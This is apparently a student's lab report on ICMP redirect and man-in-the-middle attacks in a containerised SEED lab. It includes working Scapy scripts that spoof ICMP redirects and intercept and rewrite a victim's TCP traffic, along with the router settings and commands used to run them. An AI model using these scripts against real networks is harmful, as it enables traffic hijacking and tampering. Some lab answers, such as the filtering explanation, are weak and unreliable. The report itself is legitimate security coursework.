Task 1: Launching ICMP Redirect Attack

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits. In addition, answer any questions if any.

1- First Step we will see the normal status when the victim tries to reach out for the host in the other LAN, and for that we will ping 192.168.60.5 from the victim device.

```
[02/23/24]seed@VM:~/.../Labsetup$ docksh victim-10.9.0.5
root@3c13ead0fb97:/# ping 192.168.60.5 > output.txt
```

And to see the path the packets go through we will use the command.
"mtr -n 192.168.60.5", mtr is a tool that use to trace the packets called (My traceroute)

```
[02/23/24]seed@VM:~/.../Labsetup$ docksh victim-10.9.0.5
root@3c13ead0fb97:/# mtr -n 192.168.60.5
root@3c13ead0fb97:/#
```

```
                             My traceroute  [v0.93]
3c13ead0fb97 (10.9.0.5)                               2024-02-23T21:14:11+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                   Packets               Pings
 Host                            Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.11                    43.2%    88    0.2   0.5   0.1   5.6   0.9
 2. 192.168.60.5                  0.0%    87    1.1   0.4   0.1   4.5   0.6
```

2- Now we will start our attack and we need to still be having the ping going on the victim device to have traffic,
The code for launching the attack.

```python
#!/usr/bin/python3
from scapy.all import *

ip = IP(src = '10.9.0.11', dst = '10.9.0.5') # the src is the router ip
icmp = ICMP(type=5, code=1)
icmp.gw = '10.9.0.111' #the malicious-router

# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src = '10.9.0.5' , dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());
```

```
root@3c7bc5ac9199:/volumes# task1.py
.
Sent 1 packets.
```

Once the attack is done, we will see the changes on the routing cache in the victim device

```
                                My traceroute  [v0.93]
3c13ead0fb97 (10.9.0.5)                                  2024-02-23T21:17:28+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                     Packets               Pings
 Host                              Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.111                     44.4%    10    0.2   0.4   0.2   1.1   0.4
 2. 10.9.0.11                      50.0%    10    0.1   0.2   0.1   0.4   0.1
 3. 192.168.60.5                    0.0%     9    0.2   0.7   0.1   2.8   0.9
```

And One main change was done so the attack success that we changed in the docker file in the malicious router we change the values from zero to 1.

```
malicious-router:
    image: handsonsecurity/seed-ubuntu:large
    container_name: malicious-router-10.9.0.111
    tty: true
    cap_add:
            - ALL
    sysctls:
            - net.ipv4.ip_forward=1
            - net.ipv4.conf.all.send_redirects=1
            - net.ipv4.conf.default.send_redirects=1
            - net.ipv4.conf.eth0.send_redirects=1
```

Questions Answers:

1- Redirect attacks to a machine that is outside the LAN “1.2.3.4”
All the packets go through the normal path for it and nothing changes because it is outside the LAN and it need to path through the gateway to reach to the other router “1.2.3.4” that we are saying that is the best way to go through.

```
--- 192.168.60.5 ping statistics ---
21 packets transmitted, 21 received, 0% packet loss, time 20037ms
rtt min/avg/max/mdev = 0.099/0.158/0.324/0.048 ms
root@3c13ead0fb97:/#
```

```
                                My traceroute  [v0.93]
3c13ead0fb97 (10.9.0.5)                                  2024-02-24T08:50:27+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                     Packets               Pings
 Host                              Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.11                       4.2%    24    0.2   0.5   0.1   1.8   0.3
 2. 192.168.60.5                    0.0%    24    0.1   0.5   0.1   3.3   0.7
```

2- Redirect attacks to a machine that doesn’t exist on the same network “10.9.0.1”
All the packets were lost in the middle and couldn’t reach out to the other machine in the other LAN.

```
root@3c13ead0fb97:/# ping 192.168.60.5
PING 192.168.60.5 (192.168.60.5) 56(84) bytes of data.
^C
--- 192.168.60.5 ping statistics ---
52 packets transmitted, 0 received, 100% packet loss, time 51125ms
```

```
                          My traceroute  [v0.93]
3c13ead0fb97 (10.9.0.5)                               2024-02-24T07:45:19+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                 Packets               Pings
 Host                          Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.1                   83.3%    25    0.2   0.3   0.2   0.4   0.1
 2. (waiting for reply)
```

3-

`net.ipv4.conf.all.send_redirects=0`: This setting disables sending ICMP redirect messages for all interfaces on the system. Setting it to 0 means that the system will not send ICMP redirect messages on any interface, regardless of the network configuration.

`net.ipv4.conf.default.send_redirects=0`: This setting applies to the default configuration for any new interface that is added to the system. It ensures that by default, new interfaces will not send ICMP redirect messages.

`net.ipv4.conf.eth0.send_redirects=0`: This setting specifically applies to the interface named **`eth0`**. It disables the sending of ICMP redirect messages only for this interface. Replace `eth0` with the name of any other interface if you want to apply this setting to a different interface.

Task 2: Launching the MITM Attack

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits. In addition, answer any questions if any.

```
#!/usr/bin/env python3
from scapy.all import *

print("LAUNCHING MITM ATTACK.........")

def spoof_pkt(pkt):
    newpkt = IP(bytes(pkt[IP]))
    del(newpkt.chksum)
    del(newpkt[TCP].payload)
    del(newpkt[TCP].chksum)

    if pkt[TCP].payload:
        data = pkt[TCP].payload.load
        print("*** %s, length: %d" % (data, len(data)))

        # Replace a pattern
        newdata = data.replace(b'mariam', b'AAAAAA')
        send(newpkt/newdata)
    else:
        send(newpkt)

f = 'tcp and ether src 02:42:0a:09:00:05'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

Capturing the packets that are only generated by the victim.

- Before initiating a MITM attack, IP forwarding in the malicious router container needs to be disabled. As disabling this feature would result in the interception of packets, allowing for modifications before sending out new packets. Otherwise, the router will forward the packet without interception or alteration.

```
sysctls:
                - net.ipv4.ip_forward=0
```

- Keep the victim pinging 192.168.60.5: ping 192.168.60.5
- Run on the attacker task1 code.
- Run on the malicious router mitm.py
- Start 'nc' on the host: nc -lp 9090
- Connect to the server on the victim: nc 192.168.60.5 9090

The malicious router will intercept the traffic, modify the payload if the string ‘mariam’ was detected and replaces it with ‘AAAAAA’, and then forward it to the host.

```
[02/23/24]seed@VM:~/.../Labsetup$ dockps
5ac221879a5c  malicious-router-10.9.0.111
6fef61a402a2  attacker-10.9.0.105
c3332ff7e0c6  victim-10.9.0.5
771b31d93d79  host-192.168.60.6
6c5cc55ee195  router
5f8bb0c9de63  host-192.168.60.5
```

```
root@c3332ff7e0c6:/# nc 192.168.60.5 9090
aaa
aaa
mariam
```

1 The victim sending to the host

```
^Croot@5ac221879a5c:/volumes# python3 task2.py
LAUNCHING MITM ATTACK.........
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
*** b'aaa\n', length: 4
.
Sent 1 packets.
*** b'mariam\n', length: 7
.
Sent 1 packets.
```

2 The malicious router intercepting the packets.

```
root@5f8bb0c9de63:/# nc -lp 9090
aaa
aaa
AAAAAA
```

3 The host receiving altered content.

Question 4: In your MITM program, you only need to capture the traffic in one direction. Please indicate which direction and explain why.

The program will capture the packets that are generated by the victim, as this allows the attacker to observe and potentially manipulate the communication initiated by the victim machine after it has been redirected through the malicious router.

Question 5: In the MITM program, when you capture the nc traffics from A (10.9.0.5), you can use A's IP address or MAC address in the filter. One of the choices is not good and is going to create issues, even though both choices may work. Please try both and use your experiment results to show which choice is the correct one, and please explain your conclusion.

While capturing nc traffic in a MITM, relying on IP filtering is risky. Attackers can easily spoof A's IP, capturing irrelevant traffic. Shared IPs or IP changes can further distort the analysis. Using A's unique MAC address ensures accurate capture, preventing spoofing and confusion.